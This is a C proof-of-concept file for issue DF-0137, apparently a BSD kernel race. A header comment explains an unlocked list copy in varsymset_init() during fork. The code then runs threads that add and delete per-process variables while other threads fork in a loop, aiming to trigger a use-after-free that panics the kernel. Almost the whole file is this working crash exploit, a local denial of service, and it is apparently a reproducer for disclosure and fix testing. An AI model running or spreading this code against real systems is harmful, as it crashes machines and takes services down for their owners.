DF-0137 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-0137 PoC โ unlocked TAILQ traversal in varsymset_init() during fork. * * varsymset_init() (sys/kern/kern_varsym.c:519-531) copies the source * varsymset via TAILQ_FOREACH WITHOUT acquiring copy->vx_lock. fork1() * (sys/kern/kern_fork.c:646) calls it as: * * varsymset_init(&p2->p_varsymset, &p1->p_varsymset); * * fork1 holds p1->p_token, but varsymmake() (the varsym_set VARSYM_PROC * path) does NOT take p1->p_token โ it only takes &p1->p_varsymset.vx_lock * (LK_EXCLUSIVE, kern_varsym.c:457) and TAILQ_REMOVE+kfree's entries. So a * concurrent LWP of the SAME proc (pthreads share struct proc / p_varsymset) * can free a varsyment out from under the unlocked TAILQ_FOREACH in * fork -> varsymset_init -> varsymdup, producing a use-after-free / TAILQ * corruption that (with INVARIANTS-on GENERIC) panics on the poisoned/ * WEIRD_ADDR (0xdeadc0de) pointer written by kern_slaballoc.c over freed * chunks. * * Strategy: keep the process varsymset populated with a LARGE, continuously * churned population of distinct names (add+delete across a wide range) so * that fork's unlocked copy frequently crosses entries being freed, while * several forkers drive fork1's varsymset_init copy in parallel. * * Build: cc -O2 -o race race.c -lpthread * Run: ./race (watch for kernel panic / guest going down) * * Expected (BUG present): kernel panic (fatal trap 12 page fault on a * poisoned TAILQ pointer, or a slab INVARIANTS "freed chunk" trap); the * ssh session dies and the guest sits in DDB. Race is timing-dependent โ * may need several runs. * Expected (FIXED): process runs to completion and prints "RACE_DONE". */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/wait.h> #include <sys/varsym.h> int varsym_set(int level, const char *name, const char *data); static volatile sig_atomic_t stop = 0; static void alarmhandler(int s) { stop = 1; (void)s; } /* LWP: churn a wide range of distinct names so the process varsymset is * large and continuously mutated (adds at tail, removes anywhere via * varsymlookup), maximizing freed entries the unlocked fork-copy crosses. */ static void * churner(void *arg) { unsigned long base = (unsigned long)(unsigned long long)arg; char name[48]; unsigned long i; for (i = 0; !stop; i++) { snprintf(name, sizeof(name), "DF0137C%lu_%07lu", base, i % 3000UL); varsym_set(VARSYM_PROC, name, "x"); /* insert/replace (tail) */ snprintf(name, sizeof(name), "DF0137C%lu_%07lu", base, (i + 1500UL) % 3000UL); varsym_set(VARSYM_PROC, name, NULL); /* delete -> kfree(ve) */ } return NULL; } /* LWP: fork() repeatedly -> fork1 -> varsymset_init copies the concurrently * mutated p_varsymset WITHOUT vx_lock. The child exits immediately. */ static void * forker(void *arg) { pid_t p; (void)arg; while (!stop) { p = fork(); if (p == 0) _exit(0); else if (p > 0) { while (waitpid(-1, NULL, WNOHANG) > 0) ; } } return NULL; } int main(void) { pthread_t th[8]; int nfork = 3, nchurn = 5; int i, idx = 0; signal(SIGALRM, alarmhandler); signal(SIGCHLD, SIG_IGN); /* auto-reap children */ fprintf(stderr, "[*] DF-0137 race: %d forkers + %d churners for 30s...\n", nfork, nchurn); alarm(30); for (i = 0; i < nchurn; i++) pthread_create(&th[idx++], NULL, churner, (void *)(unsigned long)(i + 1)); for (i = 0; i < nfork; i++) pthread_create(&th[idx++], NULL, forker, NULL); for (i = 0; i < idx; i++) pthread_join(th[i], NULL); fprintf(stderr, "RACE_DONE: no panic in this 30s window " "(timing-dependent; retry if needed)\n"); return 0; } |